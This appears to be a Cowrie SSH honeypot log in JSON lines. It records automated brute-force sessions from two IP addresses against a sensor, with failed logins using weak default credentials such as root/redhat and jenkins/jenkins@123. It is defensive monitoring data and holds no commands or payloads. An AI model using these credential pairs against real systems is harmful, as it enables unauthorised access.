{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:02.957083Z","src_ip":"91.92.40.171","session":"d8b0579be375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56726,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecf962a299f6","protocol":"ssh","message":"New connection: 91.92.42.133:56726 (159.203.135.109:22) [session: ecf962a299f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:03.339871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:03.438486Z","src_ip":"91.92.42.133","session":"ecf962a299f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:03.474533Z","src_ip":"91.92.42.133","session":"ecf962a299f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:04.286491Z","src_ip":"91.92.40.171","session":"d8b0579be375","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"12345","message":"login attempt [azureuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:04.467397Z","src_ip":"91.92.42.133","session":"ecf962a299f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:05.972468Z","src_ip":"91.92.42.133","session":"ecf962a299f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:05.977016Z","src_ip":"91.92.40.171","session":"d8b0579be375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44404,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb12e10464f8","protocol":"ssh","message":"New connection: 91.92.40.171:44404 (159.203.135.109:22) [session: bb12e10464f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:08.737812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:08.972344Z","src_ip":"91.92.40.171","session":"bb12e10464f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:08.976104Z","src_ip":"91.92.40.171","session":"bb12e10464f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:10.304433Z","src_ip":"91.92.40.171","session":"bb12e10464f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44342,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7e094de949c","protocol":"ssh","message":"New connection: 91.92.42.133:44342 (159.203.135.109:22) [session: e7e094de949c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:10.592443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:10.723782Z","src_ip":"91.92.42.133","session":"e7e094de949c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:10.727656Z","src_ip":"91.92.42.133","session":"e7e094de949c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:11.413227Z","src_ip":"91.92.42.133","session":"e7e094de949c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:11.584909Z","src_ip":"91.92.40.171","session":"bb12e10464f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:12.630330Z","src_ip":"91.92.42.133","session":"e7e094de949c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44510,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e98f1be66be","protocol":"ssh","message":"New connection: 91.92.40.171:44510 (159.203.135.109:22) [session: 9e98f1be66be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:15.920668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:16.245631Z","src_ip":"91.92.40.171","session":"9e98f1be66be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:17.183777Z","src_ip":"91.92.40.171","session":"9e98f1be66be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34140,"dst_ip":"159.203.135.109","dst_port":22,"session":"71b877d05e4c","protocol":"ssh","message":"New connection: 91.92.42.133:34140 (159.203.135.109:22) [session: 71b877d05e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:18.003038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:18.146045Z","src_ip":"91.92.42.133","session":"71b877d05e4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:18.149645Z","src_ip":"91.92.42.133","session":"71b877d05e4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:19.415457Z","src_ip":"91.92.42.133","session":"71b877d05e4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57480,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c15d9a1de32","protocol":"ssh","message":"New connection: 91.92.40.171:57480 (159.203.135.109:22) [session: 7c15d9a1de32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:20.222637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:20.514838Z","src_ip":"91.92.40.171","session":"7c15d9a1de32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:20.518441Z","src_ip":"91.92.40.171","session":"7c15d9a1de32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:20.777376Z","src_ip":"91.92.42.133","session":"71b877d05e4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:22.350272Z","src_ip":"91.92.40.171","session":"7c15d9a1de32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:23.709092Z","src_ip":"91.92.40.171","session":"7c15d9a1de32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"toto","password":"toto","message":"login attempt [toto/toto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:23.721285Z","src_ip":"91.92.40.171","session":"9e98f1be66be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37208,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5fcbee30f17","protocol":"ssh","message":"New connection: 91.92.42.133:37208 (159.203.135.109:22) [session: a5fcbee30f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:25.631471Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47900,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9644c119725","protocol":"ssh","message":"New connection: 91.92.40.171:47900 (159.203.135.109:22) [session: d9644c119725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:25.912915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:25.934295Z","src_ip":"91.92.42.133","session":"a5fcbee30f17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:25.939468Z","src_ip":"91.92.42.133","session":"a5fcbee30f17","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:26.311298Z","src_ip":"91.92.40.171","session":"d9644c119725","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:26.337700Z","src_ip":"91.92.40.171","session":"d9644c119725","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:26.374698Z","src_ip":"91.92.40.171","session":"9e98f1be66be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:27.207905Z","src_ip":"91.92.42.133","session":"a5fcbee30f17","protocol":"ssh"}
